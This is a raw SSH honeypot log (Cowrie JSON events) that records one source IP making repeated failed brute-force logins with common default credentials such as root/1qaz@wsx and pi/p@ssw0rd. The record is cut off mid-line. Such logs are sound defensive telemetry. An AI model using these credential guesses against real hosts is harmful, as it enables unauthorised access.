{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49932,"dst_ip":"10.17.0.5","dst_port":22,"session":"dff8e7388da7","protocol":"ssh","message":"New connection: 45.156.87.253:49932 (10.17.0.5:22) [session: dff8e7388da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:35.670667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:35.674772Z","src_ip":"45.156.87.253","session":"dff8e7388da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:35.756657Z","src_ip":"45.156.87.253","session":"dff8e7388da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:36.000814Z","src_ip":"45.156.87.253","session":"dff8e7388da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:37.198392Z","src_ip":"45.156.87.253","session":"dff8e7388da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49936,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc1070e90f05","protocol":"ssh","message":"New connection: 45.156.87.253:49936 (10.17.0.5:22) [session: bc1070e90f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:38.990091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:38.996997Z","src_ip":"45.156.87.253","session":"bc1070e90f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:39.078005Z","src_ip":"45.156.87.253","session":"bc1070e90f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:39.325702Z","src_ip":"45.156.87.253","session":"bc1070e90f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:40.409008Z","src_ip":"45.156.87.253","session":"bc1070e90f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44816,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc1092ff2a1d","protocol":"ssh","message":"New connection: 45.156.87.253:44816 (10.17.0.5:22) [session: dc1092ff2a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:42.465069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:42.469627Z","src_ip":"45.156.87.253","session":"dc1092ff2a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:42.550322Z","src_ip":"45.156.87.253","session":"dc1092ff2a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:42.793972Z","src_ip":"45.156.87.253","session":"dc1092ff2a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:43.983086Z","src_ip":"45.156.87.253","session":"dc1092ff2a1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44832,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ee544beae41","protocol":"ssh","message":"New connection: 45.156.87.253:44832 (10.17.0.5:22) [session: 0ee544beae41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:45.819689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:45.823896Z","src_ip":"45.156.87.253","session":"0ee544beae41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:45.904786Z","src_ip":"45.156.87.253","session":"0ee544beae41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avax","password":"avax","message":"login attempt [avax/avax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:46.147542Z","src_ip":"45.156.87.253","session":"0ee544beae41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:47.230564Z","src_ip":"45.156.87.253","session":"0ee544beae41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51162,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ec1ca5eec9","protocol":"ssh","message":"New connection: 45.156.87.253:51162 (10.17.0.5:22) [session: 72ec1ca5eec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:49.318787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:49.321804Z","src_ip":"45.156.87.253","session":"72ec1ca5eec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:49.401772Z","src_ip":"45.156.87.253","session":"72ec1ca5eec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:49.644731Z","src_ip":"45.156.87.253","session":"72ec1ca5eec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:50.727237Z","src_ip":"45.156.87.253","session":"72ec1ca5eec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51180,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f5ec4ed0c5","protocol":"ssh","message":"New connection: 45.156.87.253:51180 (10.17.0.5:22) [session: 04f5ec4ed0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:52.682183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:52.686154Z","src_ip":"45.156.87.253","session":"04f5ec4ed0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:52.766590Z","src_ip":"45.156.87.253","session":"04f5ec4ed0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:53.008212Z","src_ip":"45.156.87.253","session":"04f5ec4ed0c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:54.091301Z","src_ip":"45.156.87.253","session":"04f5ec4ed0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51198,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdaac477e62a","protocol":"ssh","message":"New connection: 45.156.87.253:51198 (10.17.0.5:22) [session: cdaac477e62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:56.114319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:56.117640Z","src_ip":"45.156.87.253","session":"cdaac477e62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:56.198848Z","src_ip":"45.156.87.253","session":"cdaac477e62a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:56.442694Z","src_ip":"45.156.87.253","session":"cdaac477e62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:57.526320Z","src_ip":"45.156.87.253","session":"cdaac477e62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52764,"dst_ip":"10.17.0.5","dst_port":22,"session":"f06468170a9c","protocol":"ssh","message":"New connection: 45.156.87.253:52764 (10.17.0.5:22) [session: f06468170a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:59.433949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:59.436869Z","src_ip":"45.156.87.253","session":"f06468170a9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:59.517958Z","src_ip":"45.156.87.253","session":"f06468170a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:59.763012Z","src_ip":"45.156.87.253","session":"f06468170a9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:00.862693Z","src_ip":"45.156.87.253","session":"f06468170a9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52774,"dst_ip":"10.17.0.5","dst_port":22,"session":"26e0c3ac1872","protocol":"ssh","message":"New connection: 45.156.87.253:52774 (10.17.0.5:22) [session: 26e0c3ac1872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:02.773302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:02.777308Z","src_ip":"45.156.87.253","session":"26e0c3ac1872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openss